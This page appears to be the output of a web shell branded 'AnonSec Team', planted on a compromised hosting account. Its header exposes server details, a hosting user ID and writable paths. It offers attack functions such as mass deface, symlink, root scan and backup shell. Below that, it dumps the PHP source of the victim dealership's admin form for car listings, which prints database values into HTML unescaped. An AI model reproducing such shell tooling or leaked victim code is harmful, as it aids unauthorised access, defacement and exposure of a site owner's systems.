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/  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux in-mum-web1275.main-hosting.eu 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : u215115003 ( 215115003)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u215115003/domains/luxurymotorz.com/public_html/admin/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/u215115003/domains/luxurymotorz.com/public_html/admin/dashboard//new-car-varient.php
<?php include "include/header.inc.php";
if (isset($_GET['url1'])) {
   $url = trim($_GET['url1']);
   $requestArray = explode("/", $url);
   if (!empty(is_numeric($requestArray[1]))) {
      $varient_rs = displayByID("car_varients", "car_varient_id", $requestArray[1]);
   } else {
      header("Location:" . RESOURCE_PATH . "empty-response/");
   }
}



$sql = "SELECT * FROM car_brands WHERE car_brand_status='Active'";
$stmtt = $DB->prepare($sql);
$stmtt->execute();
$rss = $stmtt->FetchAll();

?>
<div class="row page-titles">
   <div class="col-md-12 col-12 align-self-center">
      <h3 class="text-themecolor mb-0 mt-0">Car Varient</h3>
      <ol class="breadcrumb">
         <li class="breadcrumb-item"><a href="<?= LOGIC_PATH ?>home/">Home</a></li>
         <li class="breadcrumb-item"><a href="<?= LOGIC_PATH ?>car-varients/">Car Varient</a></li>
         <?php
         if (isset($_GET['url1'])) { ?>
            <li class="breadcrumb-item text-white">Edit Car Varient</li>
            <li class="breadcrumb-item active">
               <?= $varient_rs[0]['car_varient_name'] ?>
            </li>
         <?php } else { ?>
            <li class="breadcrumb-item active">New Car Varient</li>
         <?php } ?>
      </ol>
   </div>
</div>
<div class="col-12">
   <div class="card">
      <div class="card-body">
         <?php
         if (isset($_GET['url1'])) { ?>
            <form method="post" class="car_varient_form" enctype="multipart/form-data">
               <div class="row">
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Brand <span class="text-danger">*</span></label>
                        <select class="form-control" name="car_brand_id" id="car_brand_id">
                           <?php
                           foreach ($rss as $brand) { ?>
                              <option value="<?= $brand['car_brand_id'] ?>" <?php if ($varient_rs[0]['car_brand_id'] == $brand['car_brand_id']) { ?> selected <?php } ?>>
                                 <?= $brand['car_brand_name'] ?>
                              </option>
                           <?php } ?>
                        </select>
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Model<span class="text-danger">*</span></label>
                        <input type="text" name="car_model_name" id="car_model_name" class="form-control"
                           value="<?= $varient_rs[0]['car_model_name'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <label>Varient</label>
                     <input type="text" name="car_varient_name" id="car_varient_name" class="form-control"
                        value="<?= $varient_rs[0]['car_varient_name'] ?>">
                     <input type="hidden" name="car_varient_id" id="car_varient_id"
                        value="<?= $varient_rs[0]['car_varient_id'] ?>">
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>New Arrival</label>
                        <select class="form-control" name="new_arrival" id="new_arrival">
                           <?php
                           $newTypeData = $varient_rs[0]['new_arrival'];

                           $newTypes = array(
                              'yes' => 'Yes',
                              'no' => 'No'
                           );

                           foreach ($newTypes as $value => $label) {
                              $selected = ($value == $newTypeData) ? 'selected' : '';
                              echo '<option value="' . $value . '" ' . $selected . '>' . $label . '</option>';
                           }
                           ?>
                        </select>
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>First Image (Less than 1 MB)</label>
                        <input type="file" name="car_varient_image" id="car_varient_image" class="form-control"
                           accept="image/*">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>All Images (Less than 1.5 MB)</label>
                        <input type="file" name="car_gallery_file[]" id="car_gallery_file" class="form-control"
                           accept="image/*,video/*" multiple onchange="checkFiles(this)">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Original Price</label>
                        <input type="number" name="original_price" id="original_price" class="form-control"
                           value="<?= $varient_rs[0]['original_price'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Discounted Price</label>
                        <input type="number" name="discounted_price" id="discounted_price" class="form-control"
                           value="<?= $varient_rs[0]['discounted_price'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Year</label>
                        <input type="number" name="year" id="year" max="" class="form-control"
                           value="<?= $varient_rs[0]['year'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Registration State</label>
                        <input type="text" name="reg_state" id="reg_state" class="form-control"
                           value="<?= $varient_rs[0]['reg_state'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Fuel</label>
                        <select class="form-control" name="fuel_type" id="fuel_type">
                           <?php
                           $fuelTypeData = $varient_rs[0]['fuel_type'];

                           $fuelTypes = array(
                              'Petrol' => 'Petrol',
                              'Diesel' => 'Diesel',
                              'Electric' => 'Electric',
                              'Hybrid' => 'Hybrid'
                           );

                           foreach ($fuelTypes as $value => $label) {
                              $selected = ($value == $fuelTypeData) ? 'selected' : '';
                              echo '<option value="' . $value . '" ' . $selected . '>' . $label . '</option>';
                           }
                           ?>
                        </select>
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Transmission</label>
                        <select class="form-control" name="gear_type" id="gear_type">
                           <?php
                           $gearTypeData = $varient_rs[0]['gear_type'];

                           $gearTypes = array(
                              'Auto' => 'Auto',
                              'Manual' => 'Manual',
                              'IMT' => 'IMT'
                           );

                           foreach ($gearTypes as $value => $label) {
                              $selected = ($value == $gearTypeData) ? 'selected' : '';
                              echo '<option value="' . $value . '" ' . $selected . '>' . $label . '</option>';
                           }
                           ?>
                        </select>
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Number Plate</label>
                        <input type="text" name="number_plate" id="number_plate" class="form-control"
                           value="<?= $varient_rs[0]['number_plate'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Owners</label>
                        <input type="number" name="no_of_owners" id="no_of_owners" class="form-control"
                           value="<?= $varient_rs[0]['no_of_owners'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Color</label>
                        <input type="text" name="color" id="color" class="form-control"
                           value="<?= $varient_rs[0]['color'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>KM Driven</label>
                        <input type="text" name="milage" id="milage" class="form-control"
                           value="<?= $varient_rs[0]['milage'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Insurance</label>
                        <input type="text" name="insurance" id="insurance" class="form-control"
                           value="<?= $varient_rs[0]['insurance'] ?>">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Highlights</label>
                        <input type="text" name="highlights" id="highlights" class="form-control"
                           value="<?= $varient_rs[0]['highlights'] ?>">
                     </div>
                  </div>
                  <div class="col-md-12 mt-3" align="center">

                     <button type="submit" class="btn btn-primary" id="car_varient_submit">Update</button>

                  </div>
               </div>
            </form>



         <?php } else { ?>

            <form method="post" class="car_varient_form" enctype="multipart/form-data">
               <div class="row">
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Brand <span class="text-danger">*</span></label>
                        <select class="form-control" name="car_brand_id" id="car_brand_id">
                           <option value="" selected disabled>select brand</option>
                           <?php
                           foreach ($rss as $brand) { ?>
                              <option value="<?= $brand['car_brand_id'] ?>">
                                 <?= $brand['car_brand_name'] ?>
                              </option>
                           <?php } ?>
                        </select>
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Model<span class="text-danger">*</span></label>
                        <input type="text" name="car_model_name" id="car_model_name" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Varient</label>
                        <input type="text" name="car_varient_name" id="car_varient_name" class="form-control" value="">
                        <input type="hidden" name="car_varient_id" id="car_varient_id" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>New Arrival</label>
                        <select class="form-control" name="new_arrival" id="new_arrival">
                           <option value="" selected disabled>Select an option</option>
                           <option value="yes">Yes</option>
                           <option value="no">No</option>
                        </select>
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>First Image (Less than 1 MB)</label>
                        <input type="file" name="car_varient_image" id="car_varient_image" class="form-control"
                           accept="image/*">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <label>All Images (Less than 1.5 MB)</label>
                     <input type="file" name="car_gallery_file[]" id="car_gallery_file" class="form-control"
                        accept="image/*,video/*" multiple onchange="checkFiles(this)">
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Original Price</label>
                        <input type="number" name="original_price" id="original_price" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Discounted Price</label>
                        <input type="number" name="discounted_price" id="discounted_price" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Year</label>
                        <input type="number" name="year" id="year" class="form-control" max="" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Registration State</label>
                        <input type="text" name="reg_state" id="reg_state" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Fuel</label>
                        <select class="form-control" name="fuel_type" id="fuel_type">
                           <option value="" selected disabled>Select Fuel Type</option>
                           <option value="petrol">Petrol</option>
                           <option value="diesel">Diesel</option>
                           <option value="electric">Electric</option>
                           <option value="hybrid">Hybrid</option>
                        </select>
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Transmission</label>
                        <select class="form-control" name="gear_type" id="gear_type">
                           <option value="" selected disabled>Select Gear Type</option>
                           <option value="auto">Auto</option>
                           <option value="manual">Manual</option>
                           <option value="imt">IMT</option>
                        </select>
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Number Plate</label>
                        <input type="text" name="number_plate" id="number_plate" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Owners</label>
                        <input type="number" name="no_of_owners" id="no_of_owners" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Color</label>
                        <input type="text" name="color" id="color" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>KM Driven</label>
                        <input type="text" name="milage" id="milage" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Insurance</label>
                        <input type="text" name="insurance" id="insurance" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-6">
                     <div class="form-group">
                        <label>Highlights</label>
                        <input type="text" name="highlights" id="highlights" class="form-control" value="">
                     </div>
                  </div>
                  <div class="col-md-12 mt-3" align="center">
                     <button type="submit" class="btn btn-primary" id="car_varient_submit">Create</button>
                  </div>
               </div>
            </form>


         <?php } ?>


      </div>
   </div>
</div>
<?php include "include/footer.inc.php"; ?>
<script src="<?= LOGIC_PATH ?>custom_js/car-varients.js"></script>
<script>
   var today = new Date();

   var year = today.getFullYear();
   var month = String(today.getMonth() + 1).padStart(2, '0');
   var day = String(today.getDate()).padStart(2, '0');
   var todayFormatted = year + '-' + month + '-' + day;

   document.getElementById('year').setAttribute('max', todayFormatted);
</script>
<!-- <script>
   $(document).ready(function () {
      $('#car_brand_id').on('change', function (e) {
         let id = $(this).val(); // Get the selected brand ID

         var models =  json_encode($drss); ;
         var filteredModels = models.filter(function (model) {
            return model.car_brand_id == id;
         });

         var typeSelect = $('#car_model_id');
         typeSelect.html('<option value="" selected disabled>Select model</option>');
         $.each(filteredModels, function (i, item) {
            typeSelect.append(`<option value="${item.car_model_id}">${item.car_model_name}</option>`);
         });
      });
   });
</script> -->
<script>
   function checkFiles(input) {
      var files = input.files;
      var maxFiles = 30;
      var maxImageSize = 2.5 * 1024 * 1024; // 1.5 MB in bytes
      var maxVideoSize = 50 * 1024 * 1024; // 5 MB in bytes
      var totalFiles = files.length;

      if (totalFiles >= maxFiles) {
         $.toast({
            heading: 'Error',
            text: "Number of files exceeded; no more than 30 files are allowed.",
            position: 'top-right',
            loaderBg: '#ffff00',
            icon: 'error',
            hideAfter: 3000,
            stack: 6,
         });
         $('#car_gallery_file').val(''); // Clear the input
         return;
      }

      for (var i = 0; i < totalFiles; i++) {
         var file = files[i];
         var fileType = file.type.split('/')[0];

         if ((fileType === 'image' && file.size > maxImageSize) ||
            (fileType === 'video' && file.size > maxVideoSize)) {
            $.toast({
               heading: 'Error',
               text: 'File ' + file.name + ' exceeds the maximum size of ' +
                  (fileType === 'image' ? '2.5 MB' : '50 MB') + '.',
               position: 'top-right',
               loaderBg: '#ffff00',
               icon: 'error',
               hideAfter: 3000,
               stack: 6,
            });
            $('#car_gallery_file').val(''); // Clear the input
            return;
         }
      }
   }
</script>

Anon7 - 2022
AnonSec Team